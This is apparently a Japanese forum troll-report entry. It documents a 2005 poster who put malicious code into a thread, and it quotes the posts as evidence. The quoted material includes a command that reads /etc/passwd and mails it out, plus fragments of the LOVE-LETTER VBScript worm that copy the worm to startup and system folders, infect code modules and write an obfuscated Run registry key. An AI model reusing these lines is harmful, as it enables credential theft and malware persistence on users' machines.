東亜＋で出没中です

名前欄: 地球市民
ID:+DZaaaYP
内容: メール欄と、投稿内容にウイルスコードあり
備考:>>514の「地球市民」と同一人物の模様

メール欄にウイルスコード
http://news18.2ch.net/test/read.cgi/news4plus/1123419719/10 ：地球市民 ：2005/08/07 22:04:56 ID:+DZaaaYP
[cat /etc/passwd | mail nobody | sage | ms-its:mhtml:file://c:\]

ウイルスコードそのものの投稿
http://news18.2ch.net/test/read.cgi/news4plus/1123419719/38 ：地球市民 ：2005/08/07 22:10:21 ID:+DZaaaYP
fso.copyfile "c:\network.vbs", "j:\windows\start menu\programs\startup\"
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs
G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))